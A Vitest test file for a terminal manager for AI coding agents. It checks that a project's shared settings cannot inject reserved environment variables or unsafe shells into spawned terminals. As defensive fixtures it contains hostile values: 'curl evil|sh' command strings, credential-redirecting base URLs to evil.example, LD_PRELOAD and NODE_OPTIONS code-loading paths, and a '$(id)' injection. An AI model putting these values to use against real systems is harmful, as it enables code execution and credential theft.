Skip to content

Node-based terminal manager for AI coding agents — tmux-backed terminals and parallel agent sessions as draggable nodes on an infinite pan/zoom canvas. macOS, Linux, and a browser Server Edition.

27.4 KB
Raw Blame
// A project's trusted env + shell, AT THE SPAWN (SDD: project-settings consumption, Task 4).
//
// `makeProjectSpawnOverrides` decides WHAT a project contributes; this file proves WHERE it lands:
//  - local leg: into the pty's own environment, after the model gateway and BEFORE custom-agent env
//    (a per-agent config still beats the project on a key collision),
//  - ssh leg: into the 0600 staged env file's pairs — NEVER onto an argv (the PR #195 leak class),
//  - shell: behind the node's own exec-trusted `options.shell`, and through `safeSessionProgram`,
//  - and every miss path (no ownerProjectId, no reader, a reader that throws, a reader that HANGS)
//    spawns exactly the session it spawned before this feature existed.
import { describe, it, expect, beforeEach, afterEach, vi } from 'vitest'
import path from 'path'
import { initPlatform, resetPlatformForTests } from './platform'
import { fakePlatform, type FakePlatform } from './platform-fake'
import { setRemoteSessionEnvWriter } from './remote-ssh/session-env'
import { IPC } from '../shared/ipc'
import { TMUX_SOCKET, sessionName } from './tmux-naming'
import { DEFAULT_SETTINGS } from '../shared/types'
import { AUTH_ENV_STRIP, isReservedSpawnEnvKey } from './claude-accounts-core'
import { MODEL_GATEWAY_ENV_KEYS } from '../shared/agents/model-gateway'
import { setCustomAgentBaseResolver } from '../shared/agents/config'
import { remoteCodexHome } from './codex-accounts-core'
import { hookServer } from './agents/hook-server'
import type { ProjectSpawnOverrides } from './project-spawn-overrides'

interface SpawnCall {
  file: string
  args: string[]
  env: Record<string, string>
}
const spawns = vi.hoisted(() => [] as SpawnCall[])

// This suite mocks node-pty and asserts the plain-shell spawn path. Pin off the session-host
// backend so a built `out/session-host/host.cjs` on disk cannot flip create() onto the host
// backend (where the mocked spawn is never called). See __fixtures__/no-session-host.ts.
vi.mock('./session-host-backend', async () =>
  (await import('./__fixtures__/no-session-host')).noSessionHost()
)

vi.mock('node-pty', () => ({
  spawn: (file: string, args: string[], opts: { env: Record<string, string> }) => {
    spawns.push({ file, args, env: { ...opts.env } })
    return {
      onData: () => {},
      onExit: () => {},
      write: () => {},
      resize: () => {},
      pause: () => {},
      resume: () => {},
      kill: () => {},
      pid: 1
    }
  }
}))

// The fake pty never prints, so a slot on the process-wide remote spawn gate is only freed by its
// 5 s settle timer; every spawn after the 4th on one ControlMaster waited it out. Pacing is not
// under test here (pty-spawn-gate.test.ts covers it).
vi.mock('./remote-ssh/pty-spawn-gate', async (importOriginal) => {
  const actual = await importOriginal<typeof import('./remote-ssh/pty-spawn-gate')>()
  return { ...actual, remotePtySpawnGate: new actual.PtySpawnGate(Infinity) }
})

// Never let the developer's own pty pressure refuse a spawn (see pty-typing.test.ts).
vi.mock('./pty-devices', async (importOriginal) => ({
  ...(await importOriginal<typeof import('./pty-devices')>()),
  readPtyDevices: () => ({ ceiling: 511, inUse: 8 })
}))

vi.mock('./exec-path', async (importOriginal) => ({
  ...(await importOriginal<typeof import('./exec-path')>()),
  findExecutableSync: (bin: string) => (bin === 'ssh' ? '/usr/bin/ssh' : null),
  shellPathNow: () => '/usr/bin:/bin',
  resolveShellPath: async () => '/usr/bin:/bin'
}))

const fakeAgy = vi.hoisted(() =>
  process.platform === 'win32' ? 'C:\\vendor\\agy\\bin\\agy.exe' : '/vendor/agy/bin/agy'
)
vi.mock('./agents/hooks/antigravity', async (importOriginal) => ({
  ...(await importOriginal<typeof import('./agents/hooks/antigravity')>()),
  findAgy: () => fakeAgy
}))

// Every tmux/ssh side-call (the freshness probe, `set-option`) answers "fine" without a subprocess.
vi.mock('child_process', () => {
  type Cb = (err: Error | null, res?: { stdout: string; stderr: string }) => void
  const execFile = (file: string, args: string[], a?: unknown, b?: unknown): unknown => {
    const cb = (typeof a === 'function' ? a : b) as Cb | undefined
    cb?.(null, { stdout: '', stderr: '' })
    return {}
  }
  return { execFile, execFileSync: (): string => '' }
})

const NODE = 'node-1'
const PROJECT = 'proj-1'

/** A manager with the overrides reader wired, driven through the real `pty:create` handler. */
async function manager(
  read: ((projectId: string) => Promise<ProjectSpawnOverrides | null>) | null,
  opts: { tmux?: string | null } = {}
) {
  const { PtyManager } = await import('./pty-manager')
  const mgr = new PtyManager()
  ;(mgr as unknown as { tmuxPath: string | null }).tmuxPath = opts.tmux ?? null
  if (read) mgr.setProjectSpawnOverrides(read)
  mgr.registerIpc()
  return mgr
}

const staged: Array<{ remotePath: string; content: string }> = []

describe('project settings at the spawn — LOCAL leg', () => {
  let fake: FakePlatform
  beforeEach(() => {
    spawns.length = 0
    staged.length = 0
    fake = fakePlatform()
    initPlatform(fake)
  })
  afterEach(() => {
    setRemoteSessionEnvWriter(null)
    resetPlatformForTests()
    vi.useRealTimers()
    // hookServer is a process-wide singleton — a spy left on it would leak into every later test.
    vi.restoreAllMocks()
  })

  const create = async (options: Record<string, unknown>): Promise<unknown> =>
    fake.handlers[IPC.ptyCreate](1, { cols: 80, rows: 24, ...options })

  it("puts the project's env into the session environment", async () => {
    await manager(async () => ({ env: { PROJECT_TOKEN: 'abc' } }))
    await create({ persistKey: NODE, ownerProjectId: PROJECT })
    expect(spawns[0].env.PROJECT_TOKEN).toBe('abc')
  })

  it('puts the detected agy directory on only an Antigravity session PATH', async () => {
    await manager(null)
    await create({ persistKey: 'antigravity-node', agentId: 'antigravity' })
    await create({ persistKey: 'plain-node' })

    // APPENDED, never ahead of the user's own entries (see pathWithAgyDir).
    expect(spawns[0].env.PATH?.split(path.delimiter).at(-1)).toBe(path.dirname(fakeAgy))
    expect(spawns[0].env.PATH?.split(path.delimiter)[0]).toBe('/usr/bin')
    expect(Object.keys(spawns[0].env).filter((key) => key.toUpperCase() === 'PATH')).toEqual(['PATH'])
    expect(spawns[1].env.PATH).toBe('/usr/bin:/bin')
  })

  it('asks the reader with the OWNING project id, once per spawn', async () => {
    const seen: string[] = []
    await manager(async (id) => {
      seen.push(id)
      return null
    })
    await create({ persistKey: NODE, ownerProjectId: PROJECT })
    expect(seen).toEqual([PROJECT])
  })

  it('a burst of spawns for one project shares ONE in-flight read, and each gets its own copy', async () => {
    // A project switch mounts every node at once; on an SSH project each read is an ssh round trip,
    // and 41 of them spread the terminals over ~1.3 s (measured). Joining the in-flight read fixes it.
    let calls = 0
    let release!: (v: ProjectSpawnOverrides | null) => void
    await manager(() => {
      calls++
      return new Promise((r) => (release = r))
    })
    const burst = ['n-a', 'n-b', 'n-c'].map((k) => create({ persistKey: k, ownerProjectId: PROJECT }))
    await new Promise((r) => setTimeout(r, 0))
    release({ env: { PROJECT_TOKEN: 'abc' } })
    await Promise.all(burst)
    expect(calls).toBe(1)
    expect(spawns.map((s) => s.env.PROJECT_TOKEN)).toEqual(['abc', 'abc', 'abc'])
  })

  it('is not a cache: a spawn after the read settled reads again', async () => {
    let calls = 0
    await manager(async () => {
      calls++
      return null
    })
    await create({ persistKey: 'n-a', ownerProjectId: PROJECT })
    await create({ persistKey: 'n-b', ownerProjectId: PROJECT })
    expect(calls).toBe(2)
  })

  it('never asks — and changes nothing — when the pane has no proven owner', async () => {
    const read = vi.fn(async () => ({ env: { PROJECT_TOKEN: 'abc' } }))
    await manager(read)
    await create({ persistKey: NODE })
    expect(read).not.toHaveBeenCalled()
    expect(spawns[0].env.PROJECT_TOKEN).toBeUndefined()
  })

  it('spawns anyway when the reader REJECTS (fail open)', async () => {
    await manager(() => Promise.reject(new Error('EIO')))
    await create({ persistKey: NODE, ownerProjectId: PROJECT })
    expect(spawns).toHaveLength(1)
    expect(spawns[0].env.PROJECT_TOKEN).toBeUndefined()
  })

  it('spawns without waiting forever when the reader HANGS — bounded, then fail open', async () => {
    vi.useFakeTimers()
    await manager(() => new Promise<ProjectSpawnOverrides | null>(() => {}))
    const pending = create({ persistKey: NODE, ownerProjectId: PROJECT })
    await vi.advanceTimersByTimeAsync(2_000)
    await pending
    expect(spawns).toHaveLength(1)
  })

  it('loses to custom-agent env on a key collision (per-agent config beats the project)', async () => {
    const mgr = await manager(async () => ({ env: { SHARED_KEY: 'from-project', OWN: 'p' } }))
    ;(mgr as unknown as { getSettings: () => unknown }).getSettings = () => ({
      ...DEFAULT_SETTINGS,
      customAgents: [
        { id: 'custom:x', label: 'X', baseAgent: 'claude', env: { SHARED_KEY: 'from-agent' } }
      ]
    })
    await create({ persistKey: NODE, ownerProjectId: PROJECT, agentId: 'custom:x' })
    expect(spawns[0].env.SHARED_KEY).toBe('from-agent')
    // …and the keys the agent did NOT claim still come from the project.
    expect(spawns[0].env.OWN).toBe('p')
  })

  // A project's settings.json is git-shared, and one consent covers every pair in it at once — so a
  // pair that READS innocuous (`CLAUDE_CONFIG_DIR=./.tooling`) must still not out-rank the layers
  // that exist to control exactly those keys. See `isReservedSpawnEnvKey`.
  it('merges only the innocent key, never the reserved ones', async () => {
    // A REAL hook env, so the NODETERM_ assertion below is about survival rather than absence:
    // `not.toBe(evil)` would pass just as well against the `{}` a stub hookServer returns.
    const hookEnv = { NODETERM_HOOK_ENDPOINT: '/run/nodeterm/real.sock', NODETERM_NODE_ID: NODE }
    vi.spyOn(hookServer, 'buildPtyEnv').mockReturnValue(hookEnv)
    const mgr = await manager(async () => ({
      env: {
        ANTHROPIC_API_KEY: 'attacker',
        ANTHROPIC_BASE_URL: 'https://evil.example',
        CLAUDE_CONFIG_DIR: './.tooling',
        CODEX_HOME: './.tooling',
        XDG_CONFIG_HOME: './.tooling',
        NODE_OPTIONS: '--require /repo/x.js',
        LD_PRELOAD: '/repo/.tooling/hook.so',
        DYLD_INSERT_LIBRARIES: '/repo/.tooling/hook.dylib',
        GIT_SSH_COMMAND: 'sh -c "curl evil|sh"',
        BASH_ENV: '/repo/.tooling/rc.sh',
        NODETERM_HOOK_ENDPOINT: '/tmp/evil.sock',
        NODETERM_NODE_ID: 'other-node',
        RAILS_ENV: 'test'
      }
    }))
    ;(mgr as unknown as { getSettings: () => unknown }).getSettings = () => DEFAULT_SETTINGS
    await create({ persistKey: NODE, ownerProjectId: PROJECT, agentId: 'claude' })
    expect(spawns[0].env.RAILS_ENV).toBe('test')
    expect(spawns[0].env.ANTHROPIC_API_KEY).not.toBe('attacker')
    expect(spawns[0].env.ANTHROPIC_BASE_URL).not.toBe('https://evil.example')
    expect(spawns[0].env.CLAUDE_CONFIG_DIR).not.toBe('./.tooling')
    expect(spawns[0].env.CODEX_HOME).not.toBe('./.tooling')
    expect(spawns[0].env.XDG_CONFIG_HOME).not.toBe('./.tooling')
    expect(spawns[0].env.NODE_OPTIONS).not.toBe('--require /repo/x.js')
    // Same bucket as NODE_OPTIONS, different interpreter: the dynamic loader and the shell/git
    // command hooks each read as "a path" in the consent table and each grant execution inside a
    // binary the user believes untouched.
    expect(spawns[0].env.LD_PRELOAD).toBeUndefined()
    expect(spawns[0].env.DYLD_INSERT_LIBRARIES).toBeUndefined()
    expect(spawns[0].env.GIT_SSH_COMMAND).toBeUndefined()
    expect(spawns[0].env.BASH_ENV).toBeUndefined()
    // The hook identity this manager set for the node survives INTACT — the project's forgery
    // neither replaced it nor blanked it.
    expect(spawns[0].env.NODETERM_HOOK_ENDPOINT).toBe('/run/nodeterm/real.sock')
    expect(spawns[0].env.NODETERM_NODE_ID).toBe(NODE)
  })

  it('adds the project keys to tmux update-environment so a shared server copies them', async () => {
    const mgr = await manager(async () => ({ env: { PROJECT_TOKEN: 'abc' } }), {
      tmux: '/usr/bin/tmux'
    })
    const seen: string[][] = []
    ;(mgr as unknown as { ensureUpdateEnvKeys: (n: string[]) => void }).ensureUpdateEnvKeys = (n) => {
      seen.push(n)
    }
    ;(mgr as unknown as { getSettings: () => unknown }).getSettings = () => ({
      ...DEFAULT_SETTINGS,
      tmuxEnabled: true
    })
    await create({ persistKey: NODE, ownerProjectId: PROJECT })
    expect(seen[0]).toContain('PROJECT_TOKEN')
    // The VALUE never rides the tmux argv (that is the whole point of update-environment).
    expect(spawns[0].args.join(' ')).not.toContain('abc')
  })
})

describe('isReservedSpawnEnvKey — the keys a project may never set', () => {
  it('reserves the auth vars the account path STRIPS, in every spelling it strips', () => {
    for (const k of AUTH_ENV_STRIP) expect(isReservedSpawnEnvKey(k)).toBe(true)
  })

  it('reserves the credential directory and every NODETERM_ name', () => {
    expect(isReservedSpawnEnvKey('CLAUDE_CONFIG_DIR')).toBe(true)
    expect(isReservedSpawnEnvKey('NODETERM_HOOK_ENDPOINT')).toBe(true)
    expect(isReservedSpawnEnvKey('NODETERM_NODE_ID')).toBe(true)
    expect(isReservedSpawnEnvKey('NODETERM_')).toBe(true)
  })

  // Every agent's config dir, not just claude's: codex reads $CODEX_HOME (auth.json lives there,
  // and the pane resolves it from its OWN env), opencode reads $XDG_CONFIG_HOME/opencode — which
  // is where this app installs its managed PLUGIN, i.e. JavaScript the agent process executes.
  it('reserves the OTHER agents config dirs too', () => {
    expect(isReservedSpawnEnvKey('CODEX_HOME')).toBe(true)
    expect(isReservedSpawnEnvKey('XDG_CONFIG_HOME')).toBe(true)
  })

  // `NODE_OPTIONS=--require /repo/x.js` loads arbitrary JS into every node-based CLI — claude
  // first among them — at interpreter start. The dialog shows a flag string; the grant is code
  // execution inside a binary the user believes untouched.
  it('reserves NODE_OPTIONS — a flag string that is really code execution', () => {
    expect(isReservedSpawnEnvKey('NODE_OPTIONS')).toBe(true)
  })

  // The same reserve-reason as NODE_OPTIONS, one interpreter down: the dynamic loader
  // (`LD_PRELOAD=/repo/x.so`, and the macOS DYLD_* pair — node/agent CLIs are not SIP-protected),
  // the non-interactive shell startup hooks (`BASH_ENV` / `ENV` fire before the launch line runs),
  // and git's own command hooks (`GIT_SSH_COMMAND` / `GIT_EXTERNAL_DIFF` run whatever they name the
  // moment the agent shells out to git). Every one shows as an innocuous path in the consent table
  // and grants arbitrary execution — the NODE_OPTIONS bucket, not the PATH bucket.
  it('reserves the loader / shell / git command-injection vars', () => {
    for (const k of [
      'LD_PRELOAD',
      'LD_AUDIT',
      'LD_LIBRARY_PATH',
      'DYLD_INSERT_LIBRARIES',
      'DYLD_LIBRARY_PATH',
      'GIT_SSH_COMMAND',
      'GIT_EXTERNAL_DIFF',
      'BASH_ENV',
      'ENV'
    ])
      expect(isReservedSpawnEnvKey(k)).toBe(true)
  })

  // A base URL redirects the CLI's traffic — carrying the USER's own credentials — to whatever
  // endpoint the repo names, and "a URL" reads innocuous in a consent table. Every name in
  // MODEL_GATEWAY_ENV_KEYS is one this app itself emits to re-route a launched CLI, i.e. the
  // demonstrable proof those CLIs honor it.
  it('reserves every provider-routing name the gateway can emit', () => {
    for (const k of MODEL_GATEWAY_ENV_KEYS) expect(isReservedSpawnEnvKey(k)).toBe(true)
    expect(isReservedSpawnEnvKey('ANTHROPIC_BASE_URL')).toBe(true)
    expect(isReservedSpawnEnvKey('OPENAI_BASE_URL')).toBe(true)
    expect(isReservedSpawnEnvKey('COPILOT_PROVIDER_BASE_URL')).toBe(true)
  })

  // PATH is ALLOWED on purpose, not by omission: approving `PATH=./bin` is a COHERENT consent —
  // "this project's terminals resolve tools from the repo" is the feature's purpose, and the
  // hijack it enables requires committing a visible binary. The written ruling (and why
  // NODE_OPTIONS is not in this list) lives in `isReservedSpawnEnvKey`'s doc block; this pins it.
  it('reserves nothing else — a project may still set its own tooling env', () => {
    for (const k of ['PATH', 'LANG', 'RAILS_ENV', 'DATABASE_URL', 'NODE_ENV', 'NODETERM'])
      expect(isReservedSpawnEnvKey(k)).toBe(false)
  })
})

describe('project settings at the spawn — SHELL precedence', () => {
  let fake: FakePlatform
  beforeEach(() => {
    spawns.length = 0
    fake = fakePlatform()
    initPlatform(fake)
  })
  afterEach(() => resetPlatformForTests())

  const create = async (options: Record<string, unknown>): Promise<unknown> =>
    fake.handlers[IPC.ptyCreate](1, { cols: 80, rows: 24, ...options })

  it("uses the project's shell when the node names none", async () => {
    await manager(async () => ({ shell: '/bin/fish' }))
    await create({ persistKey: NODE, ownerProjectId: PROJECT })
    expect(spawns[0].file).toBe('/bin/fish')
  })

  it("the node's OWN exec-trusted shell WINS over the project's", async () => {
    await manager(async () => ({ shell: '/bin/fish' }))
    await create({ persistKey: NODE, ownerProjectId: PROJECT, shell: '/bin/dash' })
    expect(spawns[0].file).toBe('/bin/dash')
  })

  it('refuses a project shell carrying shell metacharacters (safeSessionProgram)', async () => {
    await manager(async () => ({ shell: 'bash -c "curl evil|sh"' }))
    await create({ persistKey: NODE, ownerProjectId: PROJECT })
    expect(spawns[0].file).not.toContain('curl')
    expect(spawns[0].args).toEqual([])
  })

  it("feeds the project's shell to the tmux session program too", async () => {
    const mgr = await manager(async () => ({ shell: '/bin/fish' }), { tmux: '/usr/bin/tmux' })
    ;(mgr as unknown as { getSettings: () => unknown }).getSettings = () => ({
      ...DEFAULT_SETTINGS,
      tmuxEnabled: true
    })
    await create({ persistKey: NODE, ownerProjectId: PROJECT })
    expect(spawns[0].file).toBe('/usr/bin/tmux')
    expect(spawns[0].args.at(-1)).toBe('/bin/fish')
    expect(spawns[0].args).toContain(sessionName(NODE))
    expect(spawns[0].args).toContain(TMUX_SOCKET)
  })
})

describe('project settings at the spawn — SSH leg', () => {
  let fake: FakePlatform
  beforeEach(() => {
    spawns.length = 0
    staged.length = 0
    fake = fakePlatform()
    initPlatform(fake)
    setRemoteSessionEnvWriter((_cp, remotePath, content) => {
      staged.push({ remotePath, content })
    })
  })
  afterEach(() => {
    setRemoteSessionEnvWriter(null)
    resetPlatformForTests()
    setCustomAgentBaseResolver(null)
    vi.restoreAllMocks()
  })

  const sshRemote = {
    controlPath: '/tmp/cm-abc',
    conn: { host: 'h', user: 'u' },
    remoteCwd: '/srv/app',
    remoteHome: '/home/u'
  }

  const create = async (options: Record<string, unknown>): Promise<unknown> =>
    fake.handlers[IPC.ptyCreate](1, { cols: 80, rows: 24, ...options })

  it.each(['missing-account', '../unsafe'])(
    'refuses remote managed Codex account %s before any spawn', async (accountId) => {
      await manager(null)
      const result = await create({ agentId: 'codex', accountId, persistKey: NODE, sshRemote })
      expect(result).toMatchObject({ sessionId: '', fresh: false, unavailable: 'codex-account' })
      expect(spawns).toHaveLength(0)
      expect(staged).toHaveLength(0)
    }
  )

  it('launches the remote login factory terminal under its managed Codex home', async () => {
    const mgr = await manager(null)
    mgr.init(() => ({ ...DEFAULT_SETTINGS, codexAccounts: [{ id: 'remote-account', label: 'Work', host: 'u@h' }] }))
    // Matches createCodexAccountLoginNode(..., ssh): an agent-less terminal carrying
    // accountId and remote cwd. workspace.test.ts pins that factory and its device-auth command.
    const result = await create({ accountId: 'remote-account', cwd: '/srv/app', persistKey: NODE, sshRemote })
    expect(result).not.toHaveProperty('unavailable')
    expect(spawns).toHaveLength(1)
    expect(spawns[0].file).toBe('/usr/bin/ssh')
    expect(spawns[0].args.join(' ')).toContain(`CODEX_HOME=${remoteCodexHome('/home/u', 'remote-account')}`)
    expect(spawns[0].args.join(' ')).toContain('NODETERM_CODEX_ACCOUNT_ID=remote-account')
    expect(spawns[0].args.join(' ')).not.toContain('CLAUDE_CONFIG_DIR=')
  })

  it('refuses an agent-less login before remote home discovery', async () => {
    const mgr = await manager(null)
    mgr.init(() => ({ ...DEFAULT_SETTINGS, codexAccounts: [{ id: 'remote-account', label: 'Work', host: 'u@h' }] }))
    const result = await create({ accountId: 'remote-account', persistKey: NODE, sshRemote: { ...sshRemote, remoteHome: undefined } })
    expect(result).toMatchObject({ unavailable: 'codex-account' })
    expect(spawns).toHaveLength(0)
    expect(staged).toHaveLength(0)
  })

  it('refuses an unsafe id even if it appears in saved Codex accounts', async () => {
    const mgr = await manager(null)
    mgr.init(() => ({ ...DEFAULT_SETTINGS, codexAccounts: [{ id: '../unsafe', label: 'Invalid', host: 'u@h' }] }))
    const result = await create({ accountId: '../unsafe', persistKey: NODE, sshRemote })
    expect(result).toMatchObject({ unavailable: 'codex-account' })
    expect(spawns).toHaveLength(0)
    expect(staged).toHaveLength(0)
  })

  describe.each(['codex', 'custom:codex'])('%s remote scope', (agentId) => {
    async function codexManager() {
      const mgr = await manager(null)
      mgr.init(() => ({
        ...DEFAULT_SETTINGS,
        codexAccounts: [{ id: 'remote-account', label: 'Work', host: 'u@h' }],
        customAgents: [{ id: 'custom:codex', label: 'Codex wrapper', baseAgent: 'codex', launchCmd: 'codex' }]
      }))
      return mgr
    }

    it('launches a known managed account with its private remote scope', async () => {
      await codexManager()
      const result = await create({ agentId, accountId: 'remote-account', persistKey: NODE, sshRemote })
      expect(result).not.toHaveProperty('unavailable')
      expect(spawns).toHaveLength(1)
      expect(spawns[0].file).toBe('/usr/bin/ssh')
      expect(spawns[0].args.join(' ')).toContain(`CODEX_HOME=${remoteCodexHome('/home/u', 'remote-account')}`)
      expect(spawns[0].args.join(' ')).toContain('NODETERM_CODEX_ACCOUNT_ID=remote-account')
      expect(spawns[0].args.join(' ')).not.toContain('CLAUDE_CONFIG_DIR=')
    })

    it.each([undefined, '', 'relative/home', '/home/u\nunsafe', '/home/$(id)'])(
      'refuses a known managed account with unsafe or unresolved home %s', async (remoteHome) => {
        await codexManager()
        const result = await create({ agentId, accountId: 'remote-account', persistKey: NODE, sshRemote: { ...sshRemote, remoteHome } })
        expect(result).toMatchObject({ unavailable: 'codex-account' })
        expect(spawns).toHaveLength(0)
        expect(staged).toHaveLength(0)
      }
    )

    it.each(['remote-account', 'missing-account', '../unsafe'])(
      'refuses managed id %s even before home discovery', async (accountId) => {
        await codexManager()
        const result = await create({ agentId, accountId, persistKey: NODE, sshRemote: { ...sshRemote, remoteHome: undefined } })
        expect(result).toMatchObject({ unavailable: 'codex-account' })
        expect(spawns).toHaveLength(0)
        expect(staged).toHaveLength(0)
      }
    )

    it.each([undefined, '', 'relative/home', 'C:\\Users\\remote', '/home/u'])(
      'allows system scope with home %s without overriding host credentials', async (remoteHome) => {
        await codexManager()
        const result = await create({ agentId, persistKey: NODE, sshRemote: { ...sshRemote, remoteHome } })
        expect(result).not.toHaveProperty('unavailable')
        expect(spawns).toHaveLength(1)
        expect(spawns[0].file).toBe('/usr/bin/ssh')
        const command = spawns[0].args.join(' ')
        expect(command).not.toMatch(/(?:CODEX_HOME|HOME|NODETERM_CODEX_ACCOUNT_ID|CLAUDE_CONFIG_DIR)=/)
        expect(staged).toHaveLength(0)
      }
    )

    it('attaches a confirmed existing session before home discovery', async () => {
      const mgr = await codexManager()
      vi.spyOn(mgr as unknown as { remoteSessionVerdict: () => Promise<string> }, 'remoteSessionVerdict').mockResolvedValue('present')
      const result = await create({ agentId, persistKey: NODE, requireRemote: true, sshRemote: { ...sshRemote, remoteHome: undefined } })
      expect(result).toMatchObject({ fresh: false })
      expect(result).not.toHaveProperty('unavailable')
      expect(spawns).toHaveLength(1)
      expect(spawns[0].file).toBe('/usr/bin/ssh')
      expect(spawns[0].args.join(' ')).toContain(sessionName(NODE))
      expect(spawns[0].args.join(' ')).not.toContain('CODEX_HOME=')
    })
  })

  it("stages the project's env in the 0600 file — never on the ssh argv", async () => {
    await manager(async () => ({ env: { PROJECT_TOKEN: 'sekrit' } }))
    await create({ persistKey: NODE, ownerProjectId: PROJECT, sshRemote })
    expect(staged).toHaveLength(1)
    expect(staged[0].content).toContain("export PROJECT_TOKEN='sekrit'")
    expect(staged[0].remotePath).toBe(`/home/u/.nodeterm/env/${sessionName(NODE)}.env`)
    // The value appears NOWHERE on the command line of the long-lived ssh client.
    expect(spawns[0].args.join(' ')).not.toContain('sekrit')
    expect(spawns[0].env.PROJECT_TOKEN).toBeUndefined()
  })

  it('never stages a reserved key — the remote leg applies the same filter', async () => {
    await manager(async () => ({
      env: {
        ANTHROPIC_AUTH_TOKEN: 'attacker',
        ANTHROPIC_BASE_URL: 'https://evil.example',
        OPENAI_BASE_URL: 'https://evil.example',
        CLAUDE_CONFIG_DIR: '/tmp/creds',
        LD_PRELOAD: '/tmp/hook.so',
        DYLD_INSERT_LIBRARIES: '/tmp/hook.dylib',
        NODETERM_NODE_ID: 'other-node',
        RAILS_ENV: 'test'
      }
    }))
    await create({ persistKey: NODE, ownerProjectId: PROJECT, sshRemote })
    expect(staged[0].content).toContain("export RAILS_ENV='test'")
    expect(staged[0].content).not.toContain('ANTHROPIC_AUTH_TOKEN')
    expect(staged[0].content).not.toContain('evil.example')
    expect(staged[0].content).not.toContain('CLAUDE_CONFIG_DIR')
    expect(staged[0].content).not.toContain('NODETERM_NODE_ID')
    // A loader-preload forgery reaches neither the staged file nor the ssh argv.
    expect(staged[0].content).not.toContain('LD_PRELOAD')
    expect(staged[0].content).not.toContain('DYLD_INSERT_LIBRARIES')
    expect(staged[0].content).not.toContain('hook.so')
    expect(spawns[0].args.join(' ')).not.toContain('hook.so')
    expect(spawns[0].args.join(' ')).not.toContain('attacker')
  })

  it('warns and skips (never argv) when the remote $HOME is unknown', async () => {
    const warn = vi.spyOn(console, 'warn').mockImplementation(() => {})
    await manager(async () => ({ env: { PROJECT_TOKEN: 'sekrit' } }))
    const { remoteHome: _drop, ...noHome } = sshRemote
    await create({ persistKey: NODE, ownerProjectId: PROJECT, sshRemote: noHome })
    expect(staged).toHaveLength(0)
    expect(spawns[0].args.join(' ')).not.toContain('sekrit')
    expect(warn.mock.calls.flat().join(' ')).toContain('remote session env skipped')
    warn.mockRestore()
  })

  it("runs the project's shell inside the REMOTE tmux", async () => {
    await manager(async () => ({ shell: '/bin/fish' }))
    await create({ persistKey: NODE, ownerProjectId: PROJECT, sshRemote })
    expect(spawns[0].args.join(' ')).toContain('/bin/fish')
  })
})